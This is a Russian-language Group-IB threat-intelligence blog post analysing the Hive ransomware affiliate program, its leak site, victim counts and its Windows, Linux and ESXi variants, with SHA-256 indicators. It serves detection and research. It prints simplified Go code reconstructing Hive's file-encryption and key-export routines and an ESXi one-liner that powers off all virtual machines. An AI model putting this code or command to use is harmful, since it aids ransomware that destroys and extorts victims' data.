РУССКИЙ
РУССКИЙ
ENGLISH
09.12.2021

Вскрывая улей

Исследование шифровальщика Hive и его партнёрской программы
Дмитрий Шестаков
руководитель отдела исследования киберпреступности Group-IB
Андрей Жданов
специалист по проактивному поиску киберугроз Group-IB
За неполный 2021 год более 60% всех исследованных специалистами лаборатории компьютерной криминалистики Group-IB инцидентов пришлось на атаки с использованием программ-вымогателей. Шифровальщики окончательно утвердились в статусе киберугрозы номер один.

В июле 2021 года мировые СМИ вышли с заголовками о рекордном выкупе в $70 миллионов, который группировка REvil требовала от крупнейшего производителя мяса в мире JBS за предоставление ключа для расшифровки данных. Рекорд продержался недолго. Менее полугода потребовалось киберимперии шифровальщиков для того, чтобы рекордная сумма выкупа выросла более чем в 3 раза — до 240 миллионов долларов. В ноябре 2021 года жертвой стал крупнейший европейский ритейлер электроники — MediaMarkt. Как оказалось, за атакой на MediaMarkt стояла ранее державшаяся в тени группировка Hive. Обе группы работали по модели Ransomware-as-a-Service и активно публиковали на DLS-сайтах данные жертв, отказавшихся платить выкуп.
Именно развитие рынка партнерских программ Ransomware-as-a-Service (RaaS), использование техники double extortion с помощью DLS (сайтов с публикацией данных компаний-жертв, отказавшихся платить выкуп), а также смещение фокуса многих финансово мотивированных групп на организацию атак с использованием программ-вымогателей привели к расцвету киберимперии вымогателей.

По данным опубликованного сегодня второго тома отчета Hi-Tech Crime Trends 2021/2022 "УГРОЗА #1: КИБЕРИМПЕРИЯ ШИФРОВАЛЬЩИКОВ", количество компаний, данные которых были выложены на DLS, выросло на беспрецедентные 935% (с 229 до 2371) за период H2 2020 – H1 2021 по сравнению с H2 2019 – H1 2020. Несмотря на «протесты» ряда администраторов андеграундных форумов «No more ransom!», за анализируемый период (H2 2020 – H1 2021) здесь появилась 21 новая партнерская программа — это на 19% больше, чем в прошлом периоде.

Пока весь мир следил за вынужденными «ребрендингами» группировки REvil, счетчик жертв появившегося в июне 2021 года вымогателя Hive продолжал крутиться. Если оценивать закрытую партнерскую программу Hive исключительно по количеству компаний-жертв, данные которых были выложены на DLS (48), то может показаться, что это семейство шифровальщиков ничем не примечательно.

Однако при детальном изучении этой Ransomware-as-a-Service становится очевидно, что на сегодняшний день Hive — одна из наиболее агрессивных партнерских программ, операторы которой используют самые актуальные методы давления на атакуемые организации и отличительные тактики, техники и процедуры (TTPs), требующие отдельного рассмотрения.

Для технических специалистов авторы блога выделили отдельные разделы, позволяющие изучить часть методов и технологий, которые можно использовать для хантинга за группой Hive. Также мы приводим подробный анализ сэмпла программы-шифровальщика Hive, технические индикаторы компрометации и YARA-правила для выявления атак этой группы.

Участники RaaS Hive (англ. «Улей») трудятся как пчелы: реальное количество жертв исчисляется сотнями за неполные полгода существования партнерской программы. Благодаря особенностям DLS Hive и административной панели, специалистам Group-IB Threat Intelligence удалось установить, что на 16 октября 2021 года жертвами Hive стали 355 компаний.

Партнеры Hive могут использовать различные способы получения первоначального доступа к сетям организаций. Это могут быть уязвимые RDP-серверы, скомпрометированные учетные данные VPN, а также фишинговые рассылки с вредоносными вложениями. Непосредственно шифрование данных зачастую осуществляется в нерабочее время или выходные. Учитывая, что целями Hive становятся компании из различных секторов во всем мире, а атаки управляются партнёрами вручную, важно изучать TTPs операторов этого шифровальщика и следить за их изменениями.

Специалисты Group-IB из лаборатории компьютерной криминалистики и департамента Threat Intelligence проанализировали последние известные версии Hive и впервые изучили устройство партнёрской программы, проследив историю ее появления. В конце исследования приведены индикаторы компрометации (IOCs) и YARA-правила.

Более подробную информацию о партнёрских программах, самых значимых экземплярах программ-вымогателей, тактиках, методах и инструментах киберпреступников, а также о событиях в даркнете, которые привели к становлению империи кибервымогателей, можно получить, скачав отчет "Угроза #1: киберимперия шифровальщиков".
    Внутри RaaS Hive
    Одной из первых жертв Hive стала компания Altus Group, атакованная 23 июня 2021 года. Месяцем позже, 25 июля, информация об атаке на канадскую IT-компанию появилась на новом DLS-сайте Hive.
      Первая жертва на DLS группы Hive
      У группы Hive не было публичных партнерских программ, поэтому изначально не было понятно, как работает Hive: по принципу RaaS или же это закрытая группа, войти в которую невозможно.

      7 сентября 2021 года на закрытом андеграундом форуме RAMP пользователь с никнеймом kkk опубликовал рекламное сообщение о партнерской программе.
      Сообщение о поиске пентестера в партнерскую программу Hive, 2021
      Злоумышленник предоставил детальную информацию о вредоносном ПО, используемом в «партнерке», из характеристик которого стало понятно, что речь идет может идти о Hive.
      Информация о программе-вымогателе от пользователя kkk, 2021
      Злоумышленник также предоставил доступ к закрытой партнерской программе. При переходе по адресу, на котором располагалась административная панель «партнерки», удалось подтвердить, что она принадлежит RaaS Hive.
      Вход в административную панель Hive
      После авторизации участники партнёрской программы Hive видят главную страницу с краткой статистикой: какой процент от выкупа получают партнеры, сколько должны получить в будущем, сколько уже получили, количество заплативших, зашифрованных и опубликованных на DLS компаний. А также общий баланс и логин (на скриншоте замазаны).
      Главная страница партнерской программы Hive
      В разделе «Companies» злоумышленник указывает название компании жертвы, её сайт, краткое описание, а также может добавить информацию о выручке и количестве сотрудников.
      Создание карточки новой компании-жертвы в партнерской программе Hive
      После заполнения информации о жертве партнер Hive может оставить комментарий для администратора, а также обновить информацию о жертве. В правой части злоумышленник может скачать программу-вымогатель для будущей компании-жертвы, а также отметить, удалось ли зашифровать данные компании.

      Генерация программы-вымогателя может занимать до 15 минут. Если организация откажется платить выкуп, партнёры могут добавить ссылку, которая будет опубликована на DLS Hive.
        Генерация программы-вымогателя в партнерской программе Hive
        После создания программы-вымогателя будет сгенерирован архив со следующими файлами:
          Архив с содержимым программы-вымогателя Hive
          После заражения жертвы будет автоматически создана записка с запросом выкупа, которая содержит ссылку на сайт, а также логин и пароль для доступа.
          Hive ransom note
          Если злоумышленник подтверждает, что компания была зашифрована, то открывается чат с жертвой — sales department of Hive (англ. департамент продаж Hive).

          На момент исследования операторы шифровальщика Hive общались c жертвами через администратора партнерской программы по следующей схеме:
          1
          Жертва пишет в чат с администратором (слева), который виден и злоумышленнику
          2
          Злоумышленник пишет администратору (справа)
          3
          Администратор пересылает сообщение в чат с жертвой
          «Департамент продаж» партнерской программы Hive
          Представители жертвы нередко спорят с администратором Hive по поводу правильности оценки дохода их компании.
            Диалог администратора Hive и представителя компании-жертвы
            После того, как жертва заплатит выкуп, она предположительно сможет скачать декриптор и инструкцию для его использования.
            Декриптор, интерфейс партнерской программы Hive
            Но на практике это не всегда так. Некоторые жертвы после получения декриптора жалуются на проблемы при расшифровке данных.
            Проблемы в работе декриптора Hive
            Реальное количество жертв Hive и технические особенности DLS группы
            На момент исследования партнёрской программы Hive на контролируемом группой DLS-сайте были выложены данные 48 компаний, которые отказались платить выкуп операторам шифровальщика. Большинство из них находится в США. Наиболее часто встречающиеся индустрии — IT и недвижимость.

            Особенность партнерской программы заключается в том, что любому участнику доступны все ID компаний, которые есть в базе. Административная панель Hive и DLS работают с использованием API. Кроме Hive есть только две группы, которые использовали API: Grief и DoppelPaymer.

            Каждой компании присваивается уникальный ID, который также можно найти на DLS. Еще указывается количество сообщений, которые написали жертва и злоумышленник.
            Данные о компаниях-жертвах Hive: ID и количество сообщений

            Таким образом специалистам Group-IB Threat Intelligence удалось установить реальное количество жертв Hive, а также предположить, сколько компаний заплатили злоумышленникам выкуп за сокрытие информации. К 16 октября 2021 года в API Hive хранились сведения о 312 компаниях, которые предположительно стали жертвами операторов шифровальщика. Данные 48 из них были опубликованы на DLS.

            Меньше чем за месяц количество жертв Hive выросло на 72%. Еще 16 сентября 2021 года общее число пострадавших компаний составляло 181, а ровно через месяц их стало уже 312.

            Примечательно, что 43 компании из сентябрьского списка пропали из API спустя месяц, предположительно, заплатив выкуп злоумышленникам.

            Если сложить количество уникальных ID компаний (312) за октябрь, а также ID компаний, которые пропали из API в период с сентября по октябрь (43), то можно определить, что всего Hive совершили 355 атак.

            При этом удалось выяснить, что 104 из 312 компаний вели переписку со злоумышленниками — их данные не были опубликованы.

            К 16 октября из 48 компаний на DLS осталось только 34: данные 14 компаний после публикации были удалены из DLS и API. Вероятнее всего, компании согласились на выкуп, из-за чего информацию о них полностью убрали c DLS.

            Можно заметить, что большая часть из 34 компаний, информация о которых была доступна на DLS Hive 16 октября, не общались со злоумышленниками.
            Анализ программы-вымогателя Hive
            Как уже упоминалось выше, для каждой предстоящей атаки своих партнеров владельцы RaaS Hive собирают для них персональный комплект программ-вымогателей. Данный комплект содержит варианты программы-вымогателя для различных операционных систем:

            Программы-вымогатели Hive, за исключением версии для ESXi, разработаны на языке программирования Go (Golang) и имеют общий исходный код — за исключением части, специфической для конкретной операционной системы. При этом алгоритм шифрования файлов во всех вариантах Hive идентичен.

            Для затруднения обнаружения и анализа большинство программ Hive, разработанных на Go, подвергнуты обфускации. Также в образцах Hive затерты временные метки и отсутствуют другие идентифицирующие признаки, такие как, например, идентификатор сборки Go (Go Build ID).
            Мы выделили 3 версии программ-вымогателей Hive:
            1
            v1
            C июня по июль 2021 года включительно
            2
            v2
            С августа до середины сентября 2021 года
            3
            v3
            С середины сентября 2021 года по настоящее время

            Образцы для Windows версий v1 и v2 сжимались с помощью упаковщика UPX. В первой версии для зашифрованных файлов используется расширение ".hive", а в последующих версиях оно стало уникальным для каждой жертвы.
            При сборке каждого комплекта программ-вымогателей генерируются следующие данные:
            Уникальное расширение для зашифрованных файлов (идентификатор жертвы) "xxxxx" (x – любой из символов '0'-'9', 'a'-'z'), например: "y1iiu".
            Уникальное имя текстового файла с требованием о вымогательстве "XXXX_HOW_TO_DECRYPT.txt" (X – любой из символов '0'-'9', 'A'-'Z', 'a'-'z'), например: "XGTb_HOW_TO_DECRYPT.txt".
            20 пар ключей RSA различной длины (от 2048 до 5120). В предыдущих версиях Hive – 100 пар ключей.
            Учетные данные для доступа жертвы на свою персональную страницу: логин (12 символов) и пароль (20 символов).

            Эти данные, за исключением закрытых ключей RSA, используются при компиляции вариантов программы-вымогателя комплекта.
            Hive для Windows
            Программы Hive для Windows разработаны в двух версиях: скрытой (GUI) и консольной (CUI). В консольной версии процесс шифрования отображается в окне консоли. Перед шифрованием вымогатели останавливают системные службы, завершают процессы, удаляют теневые копии разделов и устанавливают разрешения для доступа ко всем файлам. Чтобы невозможно было восстановить файлы, после завершения шифрования программы заполняют свободное пространство дисков случайными данными.

            Шифрование файлов осуществляется на всех логических дисках и доступных сетевых ресурсах или в каталогах и ресурсах, явно указанных в командной строке.

            В конце программа-вымогатель отображает текстовый файл с требованием о вымогательстве и удаляет себя.

            В программах Hive для Windows для исключаемых из процесса шифрования файлов используется следующее регулярное выражение:
            "(?i:[WIN_DIR]|\.(?:386|adv|ani|bat|bin|cab|cmd|com|cpl|cur|deskthemepack|diagcab|diagcfg|diagpkg|dll|drv|exe|hlp|
            hrmlog|hta|icl|icns|ico|ics|idx|ini|key|lnk|lock|log|mod|mpa|mp3|msc|msi|msp|msstyles|msu|nls|nomedi
            a|ocx|prf|ps1|rom|rtp|scr|shs|spl|sys|theme|themepack|url|wpx)$|
            (?:autorun\.inf|bootfont\.bin|boot\.ini|bootsect\.bak|desktop\.ini|iconcache\.db|ntldr|ntuser\.dat|ntuser
            \.dat\.log|ntuser\.ini|thumbs\.db)$|\\(\$recycle\.bin|\$windows\.~bt|\$windows\.~ws|All
            users|appdata|application
            data|boot|google|intel|Microsoft|mozilla|Mozilla|Msbuild|msocache|perflogs|system volume
            information|tor browser|windows|Windows nt|windows\.old)\\|(\$\\Windows\\|\\ADMIN\$|\\IPC\$)|
            (?:^$))"

            WIN_DIR – путь к каталогу Windows.
            Параметры командной строки

            В зависимости от сборки, состав параметров командной строки может несколько различаться.
            Hive для Linux/FreeBSD
            Варианты Hive для Linux/FreeBSD завершают непривилегированные (non-root) процессы, сканируют и шифруют файлы, содержащиеся в корневом каталоге (/) или в каталогах, указанных явно в командной строке. Для предотвращения восстановления файлов могут заполнять свободное дисковое пространство случайными данными.
            Параметры командной строки
            Hive для ESXi
            Вариант Hive для ESXi предназначен для шифрования файлов виртуальных машин.

            Перед шифрованием программа останавливает виртуальные машины с помощью следующей команды:
            vim-cmd vmsvc/getallvms | grep -o -E '^[0-9]+' | xargs -r -n 1 vim-cmd vmsvc/power.off
            Параметры командной строки
            Технический анализ реализации шифрования файлов в Hive
            В этом блоге мы рассмотрим алгоритмы шифрования файлов, реализованные в последних версиях Hive. Предыдущие версии имеют схожую реализацию шифрования, поэтому изложенные далее результаты технического анализа также позволят получить общее представление о реализации шифрования в более ранних версиях.

            Для детального представления описываемых алгоритмов воспользуемся языком программирования Go, использующимся разработчиками для большинства вариантов Hive. Наименования большинства функций будут также соотноситься с теми, что используют сами разработчики Hive. Представленный код на Go несколько упрощен, но соответствует заложенным разработчиками Hive алгоритмам.

            Шифрование файлов в Hive осуществляется многопоточно с применением стандартных средств языка программирования Go.
            Две основные структуры данных, используемые в программах Hive:

            // Key table structure
            type EncryptionKeyTab struct {
              Data []byte
              Hash []byte
            }
            
            
            // HiveContext structure
            type HiveContext struct {
              KeyTab *EncryptionKeyTab
              RansomExt string
              RansomNoteName string
              RansomNote string
              FileSkipList string
              SkipWipe bool
              NumThreads int
              CmdArgs []string
              FileSkipRegexp *regexp.Regexp
              SkipRegexp *regexp.Regexp
              EncSkipRegexp *regexp.Regexp
              ServiceStopList string
              ProcessKillList string
              GrantPermissions bool
              ProcessKillRegexp *regexp.Regexp
              ServiceStopRegexp *regexp.Regexp
            }
            EncryptionKeyTab – структура таблицы ключей шифрования файлов.

            HiveContext – структура, содержащая основные данные программы-вымогателя Hive, такие как таблица ключей шифрования содержимого файлов, конфигурационные данные программы (расширение зашифрованных файлов, имя файла с требованием о вымогательстве и его содержимое, списки процессов и служб), аргументы командной строки, скомпилированные регулярные выражения и т.п. В зависимости от сборок программ Hive структура HiveContext в них может незначительно различаться.
            Главная функция Hive:
            // Hive main function
            func (ctx *HiveContext) RunProcess() {
            
              ctx.Init()
            
              ctx.ExportKey()
            
              ctx.Preprocess()
            
              ctx.PreNotify()
            
              ctx.ScanFiles()
            
              ctx.EncryptFiles()
            
              ctx.EraseKey()
            
              ctx.Notify()
            
              ctx.WipeSpace()
            
              ctx.Postprocess()
            }
            Функция Init, согласно своему названию, осуществляет инициализацию программы: получает основные параметры ее работы и заполняет соответствующие поля структуры HiveContext.
            Таблица ключей
            В начале своей работы программы-вымогатели Hive генерируют таблицу ключей для шифрования содержимого файлов в виде массива случайных данных размером 1 Мб (1 048 576 байт). Для ее генерации используется стандартная функция rand.Read из криптографического пакета Go "crypto/rand".
            // Hive initialization
            func (ctx *HiveContext) Init() {
            
              mathrand.Seed(time.Now().UnixNano())
            
              // Generate key table
              ctx.KeyTab = GenKeyTab()
            
              // Etc
              …
            }
            
            
            // Generate key table
            func GenKeyTab() *EncryptionKeyTab {
            
              data := make([]byte, 0x100000, 0x100000)
              cryptorand.Read(data)
            
              var keytab EncryptionKeyTab
            
              keytab.Data = data
            
              hash := sha512.Sum512_256(data)
            
              keytab.Hash = hash[:]
            
              return &keytab
            }
            Как мы видим в функции GenKeyTab, после генерации таблицы ключей дополнительно подсчитывается хеш SHA512-256 ее содержимого с помощью функции sha512.Sum512_256 из пакета Go "crypto/sha512". Впоследствии значение этого хеша размером 32 байта будет неоднократно использоваться в программе.

            После функции инициализации программы Init осуществляется экспорт сгенерированной таблицы ключей. И здесь, надо отметить, проявился своеобразный подход разработчиков Hive.
            // Export key table
            func (ctx *HiveContext) ExportKey() {
            
              // Import RSA public keys
              pubkeys := ImportRSAPubKeys()
            
              // Encrypt key table
              enc_keytab := ctx.KeyTab.Export(pubkeys)
            
              key_name_data := append(ctx.KeyTab.Hash, 0xFF)
            
              key_name := base64.URLEncoding.EncodeToString(key_name_data)
            
              key_filename := key_name + ".key." + ctx.RansomExt
            
              // Save encrypted key table to file
              …
            }
            
            
            // Import RSA public keys
            func ImportRSAPubKeys() []*rsa.PublicKey {
            
              var pubkeys []*rsa.PublicKey
            
              for i := 0; i < len(RSAPubKeyDerDataList); i++ {
            
                pubkey, _ := x509.ParsePKCS1PublicKey(RSAPubKeyDerDataList[i])
            
                pubkeys = append(pubkeys, pubkey)
              }
            
              return pubkeys
            }
            Как уже было сказано, в теле программы содержится 20 публичных ключей RSA различной длины (от 2048 до 5120) в формате DER. Ключи изначально хранятся в зашифрованном виде, и в самом начале работы программы они расшифровываются и помещаются в глобальный список, который мы назвали RSAPubKeyDerDataList. Для использования этих ключей RSA для шифрования таблицы ключей предварительно осуществляется их импорт.

            Содержимое таблицы ключей keytab шифруется блоками с помощью алгоритма шифрования RSA-OAEP с циклическим использованием указанных выше 20 ключей RSA. Размер каждого блока равен максимально допустимому размеру шифруемых данных, определяемому длиной соответствующего ключа RSA.
            // Encrypt key table
            func (keytab *EncryptionKeyTab) Export(pubkeys []*rsa.PublicKey) []byte {
            
              dst_data := make([]byte, 0, 0x200000)
            
              pos := 0
              rem_len := len(keytab.Data)
              num_keys := len(pubkeys)
            
              i := 0
            
              for rem_len > 0 {
            
                pubkey := pubkeys[i % num_keys]
            
                chunk_size := pubkey.Size() - (2 * 32 + 2)
                if chunk_size > rem_len {
                  chunk_size = rem_len
                }
            
                hash := sha512.New512_256()
            
                rng := cryptorand.Reader
            
                enc_chunk, _ := rsa.EncryptOAEP(hash, rng, pubkey,
                                                keytab.Data[pos : pos + chunk_size],
                                                nil)
            
                dst_data = append(dst_data, enc_chunk...)
            
                pos += chunk_size
                rem_len -= chunk_size
                i++
              }
            
              return dst_data
            }
            Зашифрованная таким образом таблица ключей enc_keytab далее сохраняется в корневые каталоги логических дисков файлы под следующим именем:
            [KEY_NAME].key.[RANSOM_EXT]

            KEY_NAME – имя зашифрованной таблицы ключей длиной 44 символа, полученное в результате конвертации в строку Base64 хеша оригинального содержимого таблицы ключей с добавлением в конец байта 0FFh (всего 33 байта). Для конвертации в Base64 используется следующая таблица символов Base64:

            ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_

            RANSOM_EXT – параметр конфигурации, определяющий расширение для зашифрованных файлов.
            Например, имя
            sb8SzAPVNWhK66-6cahq7Ah8gGmOJCykPSI5D07wFMH_.key.xxxxx
            соответствует следующему хешу содержимого таблицы ключей:
            Шифрование содержимого файлов
            Ну а теперь рассмотрим самое интересное – реализацию шифрования содержимого файлов.
            Функция шифрования файла на языке программирования Go:
            // Encrypt file
            func (keytab *EncryptionKeyTab) EncryptFilename(filename string,
                                                            ransom_ext string) error {
            
              n1 := mathrand.Uint32()
              n2 := mathrand.Uint32()
            
              var ext_data [42]byte
            
              copy(ext_data[:32], keytab.Hash)
              ext_data[32] = 0xFF
              *(*uint32)(unsafe.Pointer(uintptr(unsafe.Pointer(&ext_data[33])))) = n1
              *(*uint32)(unsafe.Pointer(uintptr(unsafe.Pointer(&ext_data[37])))) = n2
              ext_data[41] = 0x34
            
              file_ext := base64.URLEncoding.EncodeToString(ext_data[:])
            
              new_filename := filename + "." + file_ext + "." + ransom_ext
            
              err := os.Rename(filename, new_filename)
              if err != nil {
                return err
              }
            
              // Encrypt file data
              return keytab.EvaluateFilename(new_filename, n1, n2)
            }
            Для каждого файла генерируются два случайных 32-битных числа n1 и n2. Для генерации чисел в этом случае используется стандартный генератор псевдослучайной последовательности из пакета Go "math/rand". Как мы видели выше во фрагменте функции Init, инициализация генератора псевдослучайной последовательности осуществляется значением текущего времени системы жертвы:
            mathrand.Seed(time.Now().UnixNano())
            Эти два случайных числа используются для формирования имени зашифрованного файла и, что важно, для шифрования данных файла. Далее файл переименовывается и шифруется.
            Имя зашифрованного файла имеет следующий вид:

            [FILE_NAME].[ENCRYPTED_EXT].[RANSOM_EXT]

            FILE_NAME – имя исходного незашифрованного файла.

            ENCRYPTED_EXT – расширение зашифрованного файла длиной 56 символов, полученное в результате конвертации в строку Base64 хеша оригинального содержимого таблицы ключей с добавлением в конец следующих данных: байта 0FFh, 32-битных чисел n1 и n2 (порядок байт little-endian) и байта 34h (всего 42 байта).

            RANSOM_EXT – параметр конфигурации, определяющий расширение для зашифрованных файлов.
            Например, имя
            filename.ext.sb8SzAPVNWhK66-6cahq7Ah8gGmOJCykPSI5D07wFMH_0Xg0sk1aRdc0.xxxxx
            соответствует следующим данным:
            Числа n1 и n2 в этом случае имеют значения 0B23478D1h и 0D7455A4Dh соответственно.

            Шифрование файлов в Hive осуществляется блоками по 4096 байт, максимальное количество шифруемых в файле блоков – 25, что соответствует 102 400 байтам зашифрованных данных. Между шифруемыми блоками может быть интервал, размер которого определяется размером файла. Шифрование осуществляется с помощью побайтного XOR c двумя байтовыми последовательностями из таблицы ключей keytab размерами 102 400 байтов и 3 072 байта соответственно. Стартовые позиции последовательностей определяются с помощью значений чисел n1 и n2 соответственно.
            Код шифрования содержимого файла:
            // Encrypt file data
            func (keytab *EncryptionKeyTab) EvaluateFilename(filename string,
                                                             n1 uint32,
                                                             n2 uint32) error {
            
              f, err := os.OpenFile(filename, os.O_RDWR, 0600)
              if err != nil {
                return err
              }
            
              defer f.Close()
            
              file_info, err := f.Stat()
              if err != nil {
                return err
              }
            
              file_size := file_info.Size()
            
              var num_blocks int = int(30 * (file_size / 4096) / 100)
            
              if file_size == 0 {
                return nil
              }
            
              if file_size <= 4096 {
                num_blocks = 1
              } else if (num_blocks < 2) {
                num_blocks = 2
              } else {
                if (num_blocks > 25) {
                  num_blocks = 25
                }
              }
            
              key_data1_pos := n1 % 0xE7000
              key_data1 := keytab.Data[key_data1_pos : key_data1_pos + 0x19000]
            
              key_data2_pos := n2 % 0xFF400
              key_data2 := keytab.Data[key_data2_pos : key_data2_pos + 0xC00]
            
              var buf [4096]byte
            
              var total_pos int = 0
            
              var block_space int64
            
              if num_blocks > 1 {
                block_space = 0
              } else {
                block_space = (file_size - int64(num_blocks * 4096)) /
                              int64(num_blocks - 1)
              }
            
              for block_num := 1; block_num <= num_blocks; block_num++ {
            
                var file_off int64
            
                if block_num == 1 {
                  file_off = 0
                } else if block_num == num_blocks {
                  if file_size > file_off + 4096 {
                    file_off = file_size - 4096
                  }
                } else {
                  file_off += int64(block_space)
                }
            
                bytes_read, err := f.ReadAt(buf[:], file_off)
                if (err != nil) && (err != io.EOF) {
                  return err
                }
            
                if bytes_read == 0 {
                  break
                }
            
                // Encrypt block
                for i := 0; i < bytes_read; i++ {
                  pos := total_pos + i
                  buf[i] ^= key_data1[pos % 0x19000] ^ key_data2[pos % 0xC00]
                }
            
                _, err = f.WriteAt(buf[:bytes_read], file_off)
                if err != nil {
                  return err
                }
            
                file_off += int64(bytes_read)
                total_pos += bytes_read
              }
            
              return nil
            }
            По завершении шифрования файлов таблица ключей шифрования файлов очищается в памяти (функция EraseKey).

            Таким образом, для расшифровки каждого файла необходима исходная таблица ключей шифрования и значения чисел n1 и n2, извлеченные из имени этого файла.

            Главными плюсом для злоумышленников в такой реализации шифрования файлов является неизменность размера файла до и после шифрования и, конечно, скорость шифрования. Причем высокая скорость шифрования обусловлена в том числе сохранением оригинального размера файла. В отличие от многих программ-вымогателей, Hive не записывает свои метаданные непосредственно в зашифрованный файл. Это "достоинство" усложняет и процесс восстановления файлов, так как операционная система с большой долей вероятности перезапишет данные в те же кластеры.

            Однако с точки зрения стойкости данная схема шифрования не выглядит такой уж безупречной.

            Для сравнения, в предыдущих версиях Hive размер таблицы ключей составлял 10 Мб, а количество используемых для ее шифрования ключей RSA – 100. Шифрование содержимого также осуществлялось с использованием схожего алгоритма на основе побайтного XOR.


            Индикаторы компрометации
            SHA-256
            Hive v1 для Windows
            1e21c8e27a97de1796ca47a9613477cf7aec335a783469c5ca3a09d4f07db0ff

            2f7d37c22e6199d1496f307c676223dda999c136ece4f2748975169b4a48afe5

            50ad0e6e9dc72d10579c20bb436f09eeaa7bfdbcb5747a2590af667823e85609

            5954558d43884da2c7902ddf89c0cf7cd5bf162d6feefe5ce7d15b16767a27e5

            5ae51e30817c0d08d03f120539aedc31d094b080eb70c0691bbfbaa4ec265ef3

            612e5ffd09ca30ca9488d802594efb5d41c360f7a439df4ae09b14bce45575ec

            77a398c870ad4904d06d455c9249e7864ac92dda877e288e5718b3c8d9fc6618

            88f7544a29a2ceb175a135d9fa221cbfd3e8c71f32dd6b09399717f85ea9afd1

            a0b4e3d7e4cd20d25ad2f92be954b95eea44f8f1944118a3194295c5677db749

            bf7bc94506eb72daec1d310ba038d9c3b115f145594fd271b80fbe911a8f3964

            c04509c1b80c129a7486119436c9ada5b0505358e97c1508b2cfb5c2a177ed11

            c29bf72d010c32acd23ca20e473dadfbe28db7d7e68971ac94cbe9d35dd3853d

            db23ad5a44f67332cbc3d504260ec4742acb9f26373c4ef13f2ab0095a72bf6e

            dd1c58c48d46cce9ef92a730687f87d97bdb9d9bad51034177543e3833fa7ccb

            e1a7ddbf735d5c1cb9097d7614840c00e5c4d5107fa687c0ab2a2ec8948ef84e

            f99eace78d92e533bf03347824fc3a16adb33b6a88f4fb3675083496a9757fa1

            fdbc66ebe7af710e15946e1541e2e81ddfd62aa3b35339288a9a244fb56a74cf
            Hive v2 для Windows
            25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5

            4fe989185c5c4c308046262f8c480d6d45224ec7e24261563c0f164b4d5f379b

            5bc8f4aa3eadc95f7235a10f6d3b257d4b3c3c6e3c0418326fd4c8f2da33d984

            62d52ee299eafe3b05df8dc5110f39886073c1848aa9db02ff1bf1123f6fdfbe

            67ab2abe18b060275763e1d0c73d27c1e61b69097232ed9d048d41760a4533ef

            b0508de411dec856dbf88c5f2dc4255c656a8388f00debc3eaa5d952d66ef3b7
            Hive v2 для Linux
            6983ef6e484c0c70356d6f868ac03bc90a1055560642706743511f76aa6f28ad

            d5837ce670bcdf565e7648f0d43bad6232292163c3a123bfa108ee319e7df373
            Hive v3 для Windows
            0e8e6fc94e6eb17cfd8993b3dcfd9acd11ee32f1b4e956df3097ae3259be4f9c

            104dd21cc4403680d3f2d4372c2c49cd78eee66683d89d432e8b43fad2568f85

            122e397dc3a55143bd276d6ff3bc04a05601fbf390aa52a19274456ca0040a28

            12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be

            1670e8bb8065d23e1b93ed8173f079f338abef880047da21af95dd4db57e20bd

            16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1

            191fd802cb6f922684cd32f51ea33b6106507c75b5baedd27a61b13cfee8a14b

            1ad94ad45b3c0097b9d4a69f6331c5f4f8113e8b5f5d4bcd103c690e66ca7f12

            20a2250d93226c25246b32f6dabbe7a876c60843e487c8e7aed76dd0aba23042

            23f9744316621d583cc811663b620df5d92c3de4554a82a863c9c974c38ccaf1

            25793a0764a51b38806b7dcf5f5d8df9620f090f72362aa03187c8813e054482

            25f621faa29e7814e8c6d75d3e7fc3f65877d81b5dafb397526b26dcd8d3594d

            27cb6c7baa77bd84c21e29c75365c6990c69d0d9134e0f9272f3444aacba4488

            28518da0336e8e2e48f598dc23d6312e8567f1d088d3b20993f643a8f0e1c6ad

            2a6befff9aba5700d5719a998996a5aa5fe67c7ca6c763cf498a10bac099a511

            30414f35f5ae50c9133017c6100b6f82dca0ca872ac6fbcf159b7b1d2303664f

            30cdf54a171a4f4f0ce0c69b6934468bab228f5dd9f9b2a39a6b5e968f3c6565

            36fe56519a798213116d5f7328fa81ef7c550f4f14c36e7f30c330bdd6d7d42e

            3858e95bcf18c692f8321e3f8380c39684edb90bb622f37911144950602cea21

            3e58bda58148a39c6603954bd10e361504fd6383feef5d5f7f16cc082b78fa43

            400743b945a4341559734ca144be4a96d325b9cb76169a5c43e82b21d3c59278

            44a69c3d760c8cc90e205564c9a351620a24facb504a24cffb2742061d873654

            44f8c6a7e5c8af0782cc39e1f6fc51e817ab990649da1d097f948b76d3fde442

            47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35

            50b2b256e60cb0fc50976b4216a28b3de8e736e2035d7c3cd59a5822c8770d2e

            514cd2d5751d3bbb5a7bbf0b5733edaf3ac755b1dceb5b1e7a4155de87058983

            56c72444a610c757a3ff81d991681a51c42e5e839dbaeaf15887f075cde83747

            5a991404956e8c12450424bfc0fe49600c3b7988ac0766df044f56dd93720155

            5b32ac4754bd5728cc7a68f341bf64cec4a737eb584814bb2099a5f2ff69e584

            5d95bf2518918422a6cac03f90548f02a5848dbc43836868636b61d0a87ed968

            5edbbfd33d034b1a877cde0d2d20d3937aad7f1b6ff922168bab7bda8d6ff494

            638cc41ca18feccf21b7ed1b71fe0b0881b592647fd286276dff6a4e48992bfa

            6920e86a65fc94f9fd46c46c09187b802a13801904e06c6aa63c10e0c9197218

            693e43e6524610a91f66f692325ff3aead9c426d587c2dcfda7c9c15773f1895

            7cb5b1edd62718c8e42d2b56ddfc8a1152da8b3907eedc85f49d43d0ce8b44b2

            7fb0391651fff5ea815395dd278986dc23af9e91036ce178dd25951758ea94c6

            8a461e66ae8a53ffe98d1e2e1dc52d015c11d67bd9ed09eb4be2124efd73ccd5

            8af39d53b7b9e57995003b9c22dbcad3823dd739ad8586011be57be9b9adfeb6

            8fb3e954a8d73eb29a7ee8a17d405b8fca0235c9e0a919e3dd0214933d89a98b

            97a6a4124b7a76845d65780bd44aa323532c783f008ae11a6c17bb5f7832a13a

            a1621732042fc5b3a10ee9d31f5d92834a80668deae52c0aa5c18ea8d4c72d43

            a2ad0442cebe3e6abb86069a3b66b471b4a7c9d00286da4b8114d17a849128d6

            a4878bb4655f21dd34b5a8a853ebea6b9cca292190c6ca180b4afe44077002ab

            a4e6aac8e9a84886f84059e4b56ab1cfccd740690cdfb1d6860cbac02f034b21

            aa4ffa5e1711e83d0fca382106ace09df4c55c602b8661e72f32ef5ee80c527c

